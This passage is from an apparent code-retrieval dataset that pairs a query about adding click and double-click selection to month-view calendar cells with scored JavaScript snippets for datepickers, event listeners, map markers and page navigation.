plugin is a little quirky\n }\n else if (altText == \"Mercury\") {\n $('#gmap-mercury').mobileGmap({\n markers: [\n {\n position: 'center',\n info: '<h2>Pizza Planet</h2>6070 Moores Mill Rd<br>Huntsville, AL 35811',\n showInfo: true\n }\n ]\n });\n } \n else { // default to Saturn\n $('#gmap-saturn').mobileGmap({\n markers: [\n {\n position: 'center',\n info: '<h2>Pizza Planet</h2>726 E Sarah Dewitt Dr<br>Gonzales, TX 78629',\n showInfo: true\n }\n ]\n });\n } // end else\n }); // end function definition\n } // end loop\n}", "title": "" }, { "docid": "33a8299e0b072c32d75ca6290a4f7739", "score": "0.5435894", "text": "function initializePage() {\n\t// add any functionality and listeners you want here\n\n $(\".home_a\").click(function(){\n \twoopra.track(\"home_a\");\n })\n\n $(\".home_b\").click(function(){\n \twoopra.track(\"home_b\");\n })\n\n $(\".menu_a\").click(function() {\n console.log(\"clicked through a\");\n woopra.track(\"menu_a\");\n })\n\n $(\".menu_b\").click(function() {\n console.log(\"clicked through b\");\n woopra.track(\"menu_b\");\n })\n}", "title": "" }, { "docid": "640f893b41b3b64ebd645a04422ce886", "score": "0.5427632", "text": "static registerEvents() {\n $('button#btn_next')\n .click(() => {\n StepHandler.onNextClicked();\n // OnStepChange called in onStepComplete\n });\n $('button#btn_back')\n .click(() => {\n StepHandler.onBackClicked();\n StepHandler.onStepChange();\n });\n }", "title": "" }, { "docid": "6f7ddd0bde8ff2eec517d2da2de226ee", "score": "0.54256546", "text": "loadEventHandlers(){\n \n document.querySelector(\".return\").addEventListener(\"click\", () => {\n navigateTo(\"/\");\n })\n\n }", "title": "" }, { "docid": "36c2ea993f4204f8f3c0f1541d209395", "score": "0.5425132", "text": "function attachEvents() {\n searchBtn.addEventListener(\"click\", onSearch);\n previousPageBtn.addEventListener(\"click\", goPreviousPage);\n nextPageBtn.addEventListener(\"click\", goNextPage);\n homeLink.addEventListener(\"click\", goMainPage);\n}", "title": "" }, { "docid": "ba863ce9fa1e4d777203ab09c0f62029", "score": "0.5413104", "text": "setEvents() {\n /**\n * When the user enter any keyword key\n */\n document.addEventListener('keydown', (e) => {\n switch (e.keyCode) {\n default:\n if (e.keyCode in keys && this.notBackwards(e.keyCode)) {\n Directions.set(e.keyCode);\n e.preventDefault();\n }\n }\n });\n /**\n * When the user click somewhere with the mouse\n */\n document.addEventListener('click', (e) => {\n let el = e.target;\n if (el.id === 'start') {\n this.start();\n }\n else if (el.id === 'cbx_walls') {\n }\n });\n }", "title": "" }, { "docid": "875e7dda124b0508a63753d2a2b0d591", "score": "0.54126835", "text": "updateInitialButtonURL(location) {\n let button = $('#jitsi_button');\n button.html('Add a ' + LOCATION_TEXT);\n\n let container = this.event.buttonContainer;\n\n container.parent().off('click');\n container.parent().on('click', e => {\n e.preventDefault();\n\n this.clickAddMeeting(false, location);\n });\n }", "title": "" }, { "docid": "6b4135af1ddd8ef66beff427a7339365", "score": "0.5409946", "text": "setListeners() {\n if (!this.valid) return;\n this.addButton.addEventListener('click', (event)=>{ this.addNeighbour(event); });\n $(this.change).on('change', ()=> { this.setCurrent(); });\n this.app.dispatcher.bind('neighbours.*', (msg)=> { this.updateView(msg); });\n }", "title": "" }, { "docid": "c74bac1f39ee21e538ba8ae39bfc1962", "score": "0.5407404", "text": "function _check_locations(event) {\n // Liefst buiten google maps om... maar helaas, ze hebben alle coole functies\n for (var i = 0; i < locaties.length; i++) {\n var locatie = {\n coords: {\n latitude: locaties[i][3],\n longitude: locaties[i][4]\n }\n };\n if (_calculate_distance(locatie, config.currentPosition) < locaties[i][2]) {\n // Controle of we NU op die locatie zijn, zo niet gaan we naar de betreffende page\n if (window.location != locaties[i][1] && localStorage[locaties[i][0]] == \"false\") {\n // Probeer local storage, als die bestaat incrementeer de locatie\n try {\n (localStorage[locaties[i][0]] == \"false\") ? localStorage[locaties[i][0]] = 1: localStorage[locaties[i][0]]++;\n } catch (error) {\n debug_message(\"Localstorage kan niet aangesproken worden: \" + error);\n }\n // TODO: Animeer de betreffende marker\n window.location = locaties[i][1];\n debug_message(\"Speler is binnen een straal van \" + locaties[i][2] + \" meter van \" + locaties[i][0]);\n }\n }\n }\n }", "title": "" }, { "docid": "c38ec53d0d12035a6d565a0033e1139b", "score": "0.5402311", "text": "function events() {\n // event for clicking on ortholog count\n $('.show-reaction' + pref).unbind('click');\n $('.show-reaction' + pref).click(function () {\n const id = $(this).data('id');\n if (tabWidget.hasTab(id)) {\n tabWidget.showTab(id);\n return;\n }\n tabWidget.addTab({\n tab: id,\n content: 'Coming soon!',\n canDelete: true,\n show: true,\n });\n });\n $('.show-gene' + pref).unbind('click');\n $('.show-gene' + pref).click(function () {\n const id = $(this).data('id');\n if (tabWidget.hasTab(id)) {\n tabWidget.showTab(id);\n return;\n }\n tabWidget.addTab({\n tab: id,\n content: 'Coming soon!',\n canDelete: true,\n show: true,\n });\n });\n }", "title": "" }, { "docid": "133f1ceda72ee5058f4498e9a41e3ce5", "score": "0.5401248", "text": "connectedCallback () {\n // Dispatch events to start applications.\n this.chat.addEventListener('click', this._openApp)\n this.memory.addEventListener('click', this._openApp)\n this.cam.addEventListener('click', this._openApp)\n }", "title": "" }, { "docid": "efd5268717d778f56b21604af206b1ba", "score": "0.53896797", "text": "function autolocateClickHandler() {\n $(\".spinner\").show();\n getLocationBasedOnIpAddress();\n}", "title": "" } ]
443e91e7a05789c42001731042cc54eb
adds click select and doubleclick link functionality to table cell dates (month view)
[ { "docid": "10200e493197f6d5f982e27f013d0601", "score": "0.69683987", "text": "function addMonthDoubleClickEffect() {\n $('.monthDays').on(\"click\", function(e) {\n if ($(e.target).is('.eventButtons')) {\n //don't do anything\n }\n else if ($(this).hasClass('selected')) { //then go to day view\n $('.tabs').removeClass('active'); \n $('#dayTab').toggleClass('active'); \n\n currentView = 'day';\n getCalendar(selectedDateObj, currentView);\n } \n else {\n var dateId = $(this).attr(\"id\"); //gets id w/ date info\n var dateArray = dateId.split(\"-\");\n\n $('.monthDays').removeClass('selected');\n $(this).toggleClass('selected');\n selectedDateObj = new Date(dateArray[0], dateArray[1], dateArray[2]);\n } \n });\n}", "title": "" } ]
[ { "docid": "37909bcbd637f94bbff6890fff41d02d", "score": "0.70373476", "text": "function monthSelectorClicked(element){\n\tvar configuration = getConfiguration(element);\n\n\tvar table = element.parentNode.parentNode.parentNode;\n\tvar td_selectable = table.querySelectorAll('.label-month-selector');\n\ttd_selectable.forEach(function(element){\n\t\telement.id = 'basic';\n\t});\n\telement.id = 'clicked';\n\n\tvar popup = getPopupParent(table);\n\tvar order = getOrderDateEdit(element);\n\n\tupdateMonth(popup, element.innerHTML);\n\tif(!contains(order, 'D')){\n\t\tif(configuration.auto_close_date){\n\t\t\tpopup.style.display = \"none\";\n\t\t\tpopup.blur();\n\t\t}\n\t}\n\telse{\n\t\tdisplayPopup(popup, null);\n\t\tif(configuration.auto_redirect_date){\n\t\t\tvar day_selector = popup.querySelector('.day-selector');\n\t\t\tdisplaySelector(day_selector);\n\t\t}\n\t\telse{\n\t\t\tvar month_selector = popup.querySelector('.month-selector');\n\t\t\tdisplaySelector(month_selector);\n\t\t}\n\t}\n}", "title": "" }, { "docid": "346587c38ed333907e43c3166ab397ae", "score": "0.67334455", "text": "function selectDate(colno) {\n var i,colon;\n for ( i = 1 ; i <= 31 ; i++ ) {\n colon = i;\n date(colon);//function to click on the respected date\n }\n }", "title": "" }, { "docid": "44329e9d126cbe9417d1a05a078bcb21", "score": "0.67127186", "text": "function addClickListenersMonthView(columnIDs){\n\n columnIDs.forEach(function(columnID){\n\n $(\"#createNew\" + columnID).on(\"click\", function(){\n editMode = false;\n editID = \"\";\n\n var inputString = columnID;\n var regEx1 = /-(\\d)-/;\n var result = inputString.replace(regEx1, \"-0$1-\");\n var regEx2 = /-(\\d)$/;\n result = result.replace(regEx2, \"-0$1\");\n\n // have to do months +1 because calendar internally counts from 0 to 11.\n // not very nice but in interest of time a quick fix that works.\n var month = parseInt(result.substring(5,7));\n month ++;\n if(month <10){\n month = \"0\" + month;\n }\n\n result = result.substring(0, 5) + month + result.substring(7);\n\n $('.ui.sidebar').sidebar('toggle');\n refreshFormInput();\n startDate.val(result);\n endDate.val(result);\n\n })\n })\n}", "title": "" }, { "docid": "470477a714443fda65a20db7ec9a44f3", "score": "0.65644115", "text": "function MSC_ClickDate(pCalId,pDCId,pE){PDP_UnselectPage();var vDC=PDP_GetById(pDCId);var vRole=parseInt(PDP_GetAtt(vDC,\"CellRole\",\"0\"));if(vRole>=12)return;if((pE==null)&&(window.event))pE=window.event;var vShift=pE?PDP_IsShift(pE):false;var vCal=PDP_GetById(pCalId);if(!PDP_CtlInited(vCal))return;var vAO=vCal.AO;if(vAO.KeyB)CSC_SetFocus(pCalId);if(vAO.RngMd)vShift=true;MSC_PrepSelDate(vAO);var vChg=false;vAO.MaxExc=false;if(!vShift||(vAO.LDtTg==null)||(vAO.SelCount==0)||((vAO.SelCount==1)&&(vDC.Date==vAO.LDtTg))){var vR=MSC_ChangeSelDates(vAO,vDC.Date,2);if(!vR){if(vAO.MaxExc){MSC_DrawMsgBody(vAO);if(vAO.MaxSelMsg)alert(vAO.MaxSelMsg);}return;}vChg=true;if(vR==1){CSC_UnselectDayCell(vAO,pDCId);MSC_RemoveClSl(vAO,pDCId);}else{CSC_SelectDayCell(vAO,vDC);MSC_SetCellSel(vAO,pDCId);}vAO.LDtTg=vDC.Date;vAO.LDtSel=(vR==2);MSC_SetupNextClick(vAO,vDC.Date,null,vR==1,false);}else{var vO=MSC_GetMO(vAO,vDC.Date);var vBit=1<<(vDC.Date.getUTCDate()-1);var vSel=(vAO.SelDates[vO]&vBit)>0;var vSelTicks=vDC.Date.valueOf();var vLastTicks=vAO.LDtTg.valueOf();if(vSel){var vAdv=vSelTicks>=vLastTicks;var vAdd=vAdv?86400000:-86400000;for(var vDateTicks=vLastTicks;vAdv?vDateTicks<=vSelTicks:vDateTicks>=vSelTicks;vDateTicks+=vAdd){var vNDate=new Date(vDateTicks);var vR=MSC_ChangeSelDates(vAO,vNDate,0);if(vR==1){vAO.LDtTg=vNDate;vAO.LDtSel=false;vChg=true;}}}else{if(vAO.RngMd){MSC_CalcFirstLast(vAO);if(vDC.Date<vAO.FirstSel)vLastTicks=vAO.FirstSel.valueOf();else if(vDC.Date>vAO.LastSel)vLastTicks=vAO.LastSel.valueOf();}var vAdv=vSelTicks>=vLastTicks;var vAdd=vAdv?86400000:-86400000;for(var vDateTicks=vLastTicks;vAdv?vDateTicks<=vSelTicks:vDateTicks>=vSelTicks;vDateTicks+=vAdd){var vNDate=new Date(vDateTicks);var vR=MSC_ChangeSelDates(vAO,vNDate,1);if(vR==2){vAO.LDtTg=vNDate;vAO.LDtSel=false;vChg=true;}else if((vR==0)&&vAO.MaxExc){break;}}}if(vChg){CSC_FillInWeekRows(pCalId,vAO);MSC_SetupNextClick(vAO,vAO.LDtTg,vDC.Date,vSel,false);}if(vAO.MaxExc){MSC_DrawMsgBody(vAO);if(vAO.MaxSelMsg)alert(vAO.MaxSelMsg);}}if(vChg){MSC_SaveSelDate(vAO);CSC_DrawDateLabel(vCal);CSC_OnSelectionChanged(vCal,false);}if(pE)PDP_StopEvent(pE);}", "title": "" }, { "docid": "32ecbca56912a8429deab5dcadd1944b", "score": "0.6543268", "text": "function displayMonthView(month, year){\n\n var tableContent = \"\";\n var daysInMonth = calculateDaysInMonth(month, year);\n var currentDateID;\n var startDay = (new Date(year, month)).getDay();\n var columnIDs = [];\n\n timeHeader.hide();\n hideDateSpans();\n\n calendarBody.empty();\n \n dateCounter = 1;\n for(i = 0; i < 6; i++){\n\n row = \"<tr>\";\n\n for(j = 0; j < 7; j++){\n\n\n // empty cell\n if(i === 0 && j < startDay){\n column = \"<td class='dayCellMonthView'>\";\n\n }\n // normal entries\n else if(dateCounter <= daysInMonth){\n // adding id to column\n var columnID = calculateIDMonthView(year, month, dateCounter);\n column = \"<td id='\" + columnID + \"' class='dayCellMonthView'>\";\n column = column + \"<h1 class='createNewEventsArea' id='createNew\" + columnID + \"'>\" + dateCounter + \"</h1>\";\n columnIDs.push(columnID);\n dateCounter++;\n }\n else{\n column = \"<td class='dayCellMonthView'>\";\n }\n\n column = column + \"</td>\";\n row = row + column;\n }\n\n\n row = row + \"</tr>\";\n tableContent = tableContent + row;\n }\n\n calendarBody.append(tableContent);\n\n // markes current date\n currentDateID = calculateIDMonthView(currentYear, currentMonth, currentDate);\n\n $(\"#\" + currentDateID).addClass(\"currentDateStyle\");\n addClickListenersMonthView(columnIDs, year, month);\n}", "title": "" }, { "docid": "18f62a39821871134a7b3723f214e619", "score": "0.65004706", "text": "function selectDay(id, month, year, td) {\n const target = typeof id === 'string' ? document.querySelector(id) : id;\n\n if (\n td.classList.contains(this.unselectableClass) ||\n this.isDisabledDatepicker(target)\n ) {\n return;\n }\n\n const inst = this.getInst(target);\n // inst.selectedDay = inst.currentDay = td.querySelector('a').innerHTML;\n const btn = td.querySelector('button');\n // Init a11y changes\n const prevPressed = inst.dpDiv.querySelector('[aria-pressed=\"true\"]');\n prevPressed && prevPressed.removeAttribute('aria-pressed');\n btn.setAttribute('aria-pressed', 'true');\n // End a11y changes\n inst.selectedDay = inst.currentDay = btn.textContent;\n inst.selectedMonth = inst.currentMonth = month;\n inst.selectedYear = inst.currentYear = year;\n this.selectDate(\n id,\n this._formatDate(\n inst,\n inst.currentDay,\n inst.currentMonth,\n inst.currentYear,\n ),\n );\n}", "title": "" }, { "docid": "7a2fa4730412fe46f536ff2c2c9d92f0", "score": "0.6483705", "text": "onCellClick(e) {\n let target;\n\n if (!(e.target instanceof Element)) {\n return;\n }\n\n target = e.target.closest('.calendar--day');\n\n if (!target) {\n return;\n }\n\n const date = dateFromString(target.getAttribute('data-date'));\n\n if (!date) {\n return;\n }\n\n this.dispatchEvent(new CustomEvent(Calandar_1.chooseEvent, {\n bubbles: false,\n cancelable: false,\n detail: date\n }));\n }", "title": "" }, { "docid": "1524b231681b424e9acf1f6f6ff1ed68", "score": "0.64669555", "text": "function clickOnMonth(monthSelected) {\n\tsetupViewingMonth(monthSelected);\n\tcurrentWatchingOnDifferentDate = (currentWatchingMonth !== currentStoringMonth || currentWatchingYear !== currentStoringYear);\n\tshowSectionDisplayDayCalender(currentWatchingMonth, currentWatchingYear);\n\tbutton_Month_YearSelector_Click(undefined);\n\tshowSectionViewingMonth_Year();\n}", "title": "" }, { "docid": "398efd8638554e02e362865be550d0ba", "score": "0.6450167", "text": "function optionMonthYear() {\n content += \"<tr>\";\n content += \"<td class = 'click' id = 'prevYear' onclick = 'prevYear()'>&#8647</td>\";\n content += \"<td class = 'click' id = 'prevMonth' onclick = 'prevMonth()'>&larr;</td>\";\n buildMonth();\n buildYear();\n content += \"<td class = 'click' id = 'nextMonth' onclick = 'nextMonth()'>&rarr;</td>\";\n content += \"<td class = 'click' id = 'nextYear' onclick = 'nextYear()'>&#8649;</td>\";\n content += \"</tr>\";\n}", "title": "" }, { "docid": "2da8fee17648bdd99d20f8dc58f0778d", "score": "0.64380145", "text": "function dayClick(date) {\n vm.currDate = date;\n vm.selectedDate = $filter(\"date\")(date, \"MMMM d, y\");\n showTimes(moment(date).format('YYYY-MM-DD'));\n }", "title": "" }, { "docid": "eb848843b38ad9f3c8459c716c8ba7e8", "score": "0.62877524", "text": "function chooseDay() {\n\tfor (var i=0; i<cells_of_table.length; i++) {\n\t\t// cells_of_table[i].setAttribute(\"onclick\", \"showDay(this)\");\n\t\tcells_of_table[i].addEventListener(\"click\", function () {\n\t\t\tshowDay(this);});\n\t}\n}", "title": "" }, { "docid": "8b7a01fa90fb59cb85d2db3aece3660f", "score": "0.62614626", "text": "function month_click(event) {\n $(\".events-container\").show(250);\n $(\"#dialog\").hide(250);\n var date = event.data.date;\n $(\".active-month\").removeClass(\"active-month\");\n $(this).addClass(\"active-month\");\n var new_month = $(\".month\").index(this);\n date.setMonth(new_month);\n init_calendar(date);\n }", "title": "" }, { "docid": "e27ea48f452f6b98658141a533cc85f4", "score": "0.6221372", "text": "function defaultSelectDate(selectedDate) {\n if (linkedElement) {\n linkedElement.value = selectedDate.year + \"-\" + (selectedDate.month + 1) + \"-\" + selectedDate.day;\n }\n hideCalendar();\n }", "title": "" }, { "docid": "b393291ef9f00b554fa7af399245f7b1", "score": "0.6221085", "text": "function dateToTag(d) {\n var tag = $('<td><a href=\"javascript:void(0);\"></a></td>');\n var a = tag.find('a');\n a.text(d.getDate());\n a.data('date', dateToStr(d));\n if (date.getMonth() != d.getMonth()) { // the bounday month\n tag.addClass('off');\n } else if (_this.data('date') == a.data('date')) { // the select day\n tag.addClass('active');\n _this.data('date', dateToStr(d));\n }\n return tag;\n }", "title": "" }, { "docid": "14e5b142971856f9bca45ce92ac35eda", "score": "0.6191713", "text": "function toggleDate() {\n\twindow.addEventListener('click', function (event) {\n\t\tbutton_Month_YearSelector_Click(event);\n\t\ttoggleMenu(event);\n\t});\n}", "title": "" }, { "docid": "6e6b03f92fe03b14345d636f26eab996", "score": "0.6156255", "text": "function selectDay() {\n // Move focus to the first available day\n var cell = $(\".ui-state-default\");\n var td = cell.parent().not(\".ui-state-disabled\");\n var active_cell = td.children(\"a\");\n active_cell.attr(\"tabindex\", \"3\");\n // Highlight day in focus as tab moves along\n active_cell.focus(function() {\n var day = $(this).html();\n $(\".ui-state-active\").removeClass(\"ui-state-active\");\n $(this).addClass(\"ui-state-active\");\n });\n }", "title": "" }, { "docid": "6a223feb5cd463dce2cabd82b5e12f60", "score": "0.61318046", "text": "function dateToTag(d) {\r\n\t\t\t\tvar tag = $('<td><a href=\"javascript:void(0);\"></a></td>');\r\n\t\t\t\tvar a = tag.find('a');\r\n\t\t\t\ta.text(d.getDate());\r\n\t\t\t\ta.data('date', dateToStr(d));\r\n\t\t\t\tif (date.getMonth() != d.getMonth()) { // the bounday month\r\n\t\t\t\t\ttag.addClass('off');\r\n\t\t\t\t} else if (_this.data('date') == a.data('date')) { // the select day\r\n\t\t\t\t\ttag.addClass('active');\r\n\t\t\t\t\t_this.data('date', dateToStr(d));\r\n\t\t\t\t}\r\n\t\t\t\treturn tag;\r\n\t\t\t}", "title": "" }, { "docid": "07eb99f56f2bb2fbc6945aef9a93591f", "score": "0.60964435", "text": "function pickDate() {\n for (var i = MINCELL; i < MAXCELL; i++) {\n CELL[i].addEventListener(\"click\", function() {\n // Change color of all cells's border to #2d2d2d\n for (var j = MINCELL; j < MAXCELL; j ++) {\n CELL[j].style.border = \"1px solid #2d2d2d\";\n }\n \n var cellDay = this.innerHTML; // Day of cell is chosen\n\n if (cellDay != \"\") {\n this.style.border = \"1px solid red\";\n PICKED_DAY.value = CUR_YEAR + \"-\" + CUR_MONTH + \"-\" + cellDay;\n document.getElementById(\"table-calendar\").style.display = \"none\"; // Hide Calendar\n } else {\n this.style.border = \"1px solid orange\";\n }\n });\n }\n}", "title": "" }, { "docid": "a0eb34507b7ad6ebc80c763ac4e71ba1", "score": "0.6075038", "text": "function gotoMonth(selMonth){\n\tdateObj.setMonth(selMonth);\n\tdrawMonth();\n\tdocument.getElementById(\"monthListTable\").style.display = 'none';\n\tdocument.getElementById(\"yearListTable\").style.display = 'none';\n\tinitialiseMonthList();\n}", "title": "" }, { "docid": "f93b9d732b2ae56cf8ec1b2d2eca7beb", "score": "0.60688376", "text": "function selectMonth() {\n tab(\".ui-datepicker-prev\", -1);\n tab(\".ui-datepicker-next\", 1);\n}", "title": "" }, { "docid": "874badbb60c74a4daebf5c55d0ae386c", "score": "0.6065253", "text": "_setDate(e) {\n //sets day as the first of day of screenDate.\n let day = moment(this._screenDate, this.format).startOf(\"month\");\n\n let id = e.target.id;\n\n //If id is blank then user has clicked on blank box, return;\n if (id == \"\") return;\n\n //Sets selected date based on the clicked id.\n this._selectedDate = day.set(\"date\", id).format(this.format);\n\n //And now set the header of date picker\n this._header = day.set(\"date\", id).format(\"ddd, MMM DD\");\n\n //Get date and iterate through each values in monthArray to set active flag\n let currentday = day.set(\"date\", id).format(\"D\");\n for (let i = 0; i < this._monthArray.length; i++) {\n for (let j = 0; j < this._monthArray[i].length; j++) {\n if (this._monthArray[i][j].day == currentday) {\n this.set(\"_monthArray.\" + i + \".\" + j + \".active\", true);\n } else {\n this.set(\"_monthArray.\" + i + \".\" + j + \".active\", false);\n }\n }\n }\n }", "title": "" }, { "docid": "0feea6b8db9191c1ebe4642fa28be031", "score": "0.6064536", "text": "_monthSelected(event) {\n const month = event.value;\n const normalizedDate = this._dateAdapter.createDate(this._dateAdapter.getYear(this.activeDate), month, 1);\n this.monthSelected.emit(normalizedDate);\n const daysInMonth = this._dateAdapter.getNumDaysInMonth(normalizedDate);\n this.selectedChange.emit(this._dateAdapter.createDate(this._dateAdapter.getYear(this.activeDate), month, Math.min(this._dateAdapter.getDate(this.activeDate), daysInMonth)));\n }", "title": "" }, { "docid": "0feea6b8db9191c1ebe4642fa28be031", "score": "0.6064536", "text": "_monthSelected(event) {\n const month = event.value;\n const normalizedDate = this._dateAdapter.createDate(this._dateAdapter.getYear(this.activeDate), month, 1);\n this.monthSelected.emit(normalizedDate);\n const daysInMonth = this._dateAdapter.getNumDaysInMonth(normalizedDate);\n this.selectedChange.emit(this._dateAdapter.createDate(this._dateAdapter.getYear(this.activeDate), month, Math.min(this._dateAdapter.getDate(this.activeDate), daysInMonth)));\n }", "title": "" }, { "docid": "88d34424dbb199cf45d1bbf65c5222c9", "score": "0.60229236", "text": "function handleMonthSelect() {\n month = monthObj.val();\n if(month.length == 0) month = -1;\n dayUpdate();\n }", "title": "" }, { "docid": "2bf7603c464f67fe8c31c44b3b7a3ce7", "score": "0.60120803", "text": "function onSelect(value) {\n if (\n value.month() === currDate.month() &&\n value.year() === currDate.year()\n ) {\n const currDateSelected =\n value.date() < 10\n ? \"0\" + value.date().toString()\n : value.date().toString();\n if (listOfRefsByDate.hasOwnProperty(currDateSelected)) {\n setDateSelected(true);\n setSelectedDay(value);\n }\n }\n }", "title": "" }, { "docid": "645691970870c5e9f15c2b27fd35b91d", "score": "0.5995009", "text": "function OnDateChanged(oDate) {\n var idx = oDate.index;\n\n if (aMonth[idx].fActive) {\n if (nSelectedIndex != null) {\n aMonth[nSelectedIndex].fSelected = false;\n RenderDateAtom(nSelectedIndex);\n }\n\n oCalendar.nSelectedYear\t\t= oCalendar.nCurrentYear;\n oCalendar.nSelectedMonth\t= oCalendar.nCurrentMonth;\n oCalendar.nSelectedDate\t\t= aMonth[idx].nDate;\n\n aMonth[idx].fSelected\t\t= true;\n\n RenderDateAtom(idx);\n\n nSelectedIndex = idx;\n }\n}", "title": "" }, { "docid": "d8b62b811b070322b0949c253f90062f", "score": "0.59936965", "text": "function dayBind(cells) {\n cells.click(slotClick).mousedown(daySelectionMousedown);\n }", "title": "" }, { "docid": "5c61c168aec7acb4c9594e86cb9cf67b", "score": "0.5980477", "text": "function showCalendar(month, year) {\n let firstDay = (new Date(year, month)).getDay();\n\n tbl = document.getElementById(\"calendar-body\");\n tbl.innerHTML = \"\";\n\n monthAndYear.innerHTML = months[month] + \" \" + year;\n selectYear.value = year;\n selectMonth.value = month;\n\n let date = 1;\n for (let i = 0; i < 6; i++) {\n let row = document.createElement(\"tr\");\n\n for (let j = 0; j < 7; j++) {\n if (i === 0 && j < firstDay) {\n cell = document.createElement(\"td\");\n cellText = document.createTextNode(\"\");\n cell.appendChild(cellText);\n row.appendChild(cell);\n } else if (date > daysInMonth(month, year)) {\n break;\n } else {\n cell = document.createElement(\"td\");\n cellText = document.createTextNode(date);\n cell.appendChild(cellText);\n row.appendChild(cell);\n\n if (dateIsAvailable(date, month, year)) {\n cell.onclick = function() { onCellClick(this) };\n cell.className = 'cell';\n } else {\n cell.className = 'cell-disabled';\n }\n date++;\n }\n }\n tbl.appendChild(row);\n }\n\n if (checkinDate != null && checkoutDate != null) {\n highlightStaySpan();\n }\n}", "title": "" }, { "docid": "bae048e4e5639a24e555b9897e7b8147", "score": "0.5978579", "text": "function SelectDateById(e,t,n,r){var i=document.getElementById(e);if(i==null)return!1;i.focus(),i.onclick!=null?i.onclick():i.click!=null?i.click():SelectDate(i,t,n,r)}", "title": "" }, { "docid": "d565169293b2264bd1b0caa23e100818", "score": "0.5963903", "text": "function onCellClick(cell) {\n if (checkinDate != null && checkoutDate != null) {\n resetCalendar();\n }\n\n day = parseInt(cell.innerHTML);\n selectedDate = new Date(currentYear, currentMonth, day);\n if (selectedDate >= today) {\n assignCheckinAndCheckoutDates(selectedDate, cell);\n }\n\n if (checkinDate != null && checkoutDate != null) {\n setContractDisplay(true);\n }\n if (checkoutDate == null) {\n hideInformation();\n }\n}", "title": "" }, { "docid": "2dad003e7a622fa7b86f2bb0d9c360f6", "score": "0.5958691", "text": "_setMonth(e) {\n const day = moment(this._screenDate, this.format).month(e.target.id);\n this._screenDate = day.format(this.format);\n this._plot();\n this._view = \"calendar\";\n }", "title": "" }, { "docid": "1b82971e6ed308d1f81545ec3727e7f0", "score": "0.5951964", "text": "function calendar() {\t\n\t//show table and create year select\n\ttableDay.style.display = \"block\";\n\tinput.value = \"\";\n\tif (CHECK_CREATE_BEGIN) {\n\t createSelecteYear();\n\t CHECK_CREATE_BEGIN = false;\n\t}\n\t// assign value to select tag\n\tselectMonth.value = CURRENT_MONTH;\n\tselectYear.value = CURRENT_YEAR;\n\t//create 2 new Date to get first day and last day of month\n\tvar first = new Date(CURRENT_YEAR, CURRENT_MONTH - 1, 1);\n\tvar last = new Date(CURRENT_YEAR, CURRENT_MONTH, 0);\n\t// assign value to table\n\tvar temp = 1;\n\tfor (var j = 0; j < 42; j++) {\n\t\ttable[j].style.backgroundColor = \"white\";\n\t\tif (j < first.getDay() || (j > (first.getDay() + last.getDate()) - 1 )) { //element of table is not day of month\n\t\t\ttable[j].innerHTML = \"\";\n\t\t}\n\t\telse {\n\t\t\ttable[j].style.background = \"white\";\n\t\t\ttable[j].innerHTML = temp;\t\n\t\t\tif (temp == TO_DAY && TO_MONTH == CURRENT_MONTH && TO_YEAR == CURRENT_YEAR) {// If it is today, the color will be different\n\t\t\t\ttable[j].style.background = \"#00dad7\";\n\t\t\t}\n\t\t\t// add event onclick to elements table\n\t\t\ttable[j].addEventListener(\"click\", function() {chooseDay(this);});\n\t\t\ttemp++;\n\t\t}\n\t}\n}", "title": "" }, { "docid": "b213d80f2605d2a2dc5bd915574d75c8", "score": "0.5948229", "text": "function showCalendar() {\n\t//first Day of curr_month\n\tvar first_day = new Date(MONTH_OF_YEAR[CURR_MONTH-1] + \" \" + 1 + \" \" + CURR_YEAR);\n\tvar last_of_month = new Date(CURR_YEAR, CURR_MONTH, 0);\n\t//get num_of_day in month\n\tvar num_of_month = last_of_month.getDate();\n\n\tclear_Calendar();\n\tcreate_Empty_Calendar();\n\n\tdocument.getElementById(\"select-month\").value = CURR_MONTH;\n\tdocument.getElementById(\"select-year\").value = CURR_YEAR;\n\n\t/*get cell in table*/\n\tvar cal_frame = document.getElementById(\"cal-frame\");\n\tvar rows_table = cal_frame.getElementsByTagName(\"td\");\n\n\t//display day of month\n\tfor ( var i=0;i<rows_table.length; i++) {\n\t\t//days of before curr_month\n\t\tif (i<first_day.getDay()) {\n\t\t\trows_table[i].innerHTML = getDaysOfBeforeMonth(first_day) - (first_day.getDay() - 1) + i;\n\t\t\trows_table[i].classList.add(\"before\");\n\t\t}else {\n\t\t//fill value to cells\n\t\t\tvar index = i - first_day.getDay() +1;\n\t\t\tif (index <= num_of_month) {\n\t\t\t\trows_table[i].innerHTML = index;\t\n\t\t\t\tif (first_day.getMonth() == TODAY.getMonth() && first_day.getFullYear() == TODAY.getFullYear()) {\n\t\t\t \tif (index == TODAY.getDate()) {\n\t\t\t \t \t\trows_table[i].classList.add(\"today\");\n\t\t\t }\n\t\t\t \t}\n\t\t\t \telse {\n\t\t\t \t\tif (index == 1) {\n\t\t\t \t\t\trows_table[i].classList.add(\"default\");\n\t\t\t \t\t}\n\t\t\t \t}\n\t\t\t}\n\t\t\t//days of after curr_month\n\t\t\telse {\n\t\t\t\trows_table[i].innerHTML = i - num_of_month - first_day.getDay() + 1;\t\n\t\t\t \trows_table[i].classList.add(\"after\");\t\n\t\t\t}\n\t\t}\n\t}\n\t//Choose a day on calendar then print to input\n\tchooseDay();\n\t//create selector for cells_of_table;\n\tselect_Month();\n\tselect_Year();\n}", "title": "" }, { "docid": "d10626a02c29b9819c92592dc5c46efb", "score": "0.59410167", "text": "function dateSelectorClicked(element, displayed_date){\n\tvar configuration = getConfiguration(element);\n\n\tvar table = element.parentNode.parentNode.parentNode;\n\tvar td_selectable = table.querySelectorAll('.label-date-selector');\n\ttd_selectable.forEach(function(element){\n\t\telement.id = 'basic';\n\t});\n\tif(configuration.active_disabled_buttons){\n\t\tvar disabled_td = table.querySelectorAll('.disabled-label');\n\t\tdisabled_td.forEach(function(element){\n\t\t\telement.id = 'basic';\n\t\t});\n\t}\n\telement.id = 'clicked';\n\n\tvar popup = getPopupParent(table);\n\n\tif(element.className === 'disabled-label'){\n\t\tdisplayed_date = moment.unix(displayed_date).locale(locale_lang);\n\t\tif(parseInt(element.innerHTML) > 15){\n\t\t\tdisplayed_date.add(-1, 'months');\n\t\t}\n\t\telse if(parseInt(element.innerHTML) < 15){\n\t\t\tdisplayed_date.add(1, 'months');\n\t\t}\n\t\tdisplayed_date = displayed_date.format('X');\n\t}\n\n\tupdateDate(popup, element.innerHTML, displayed_date);\n\tif(configuration.auto_close_date){\n\t\tpopup.style.display = \"none\";\n\t\tpopup.blur();\n\t}\n\telse{\n\t\tdisplayPopup(popup, null);\n\t\tvar day_selector = popup.querySelector('.day-selector');\n\t\tdisplaySelector(day_selector);\n\t}\n}", "title": "" }, 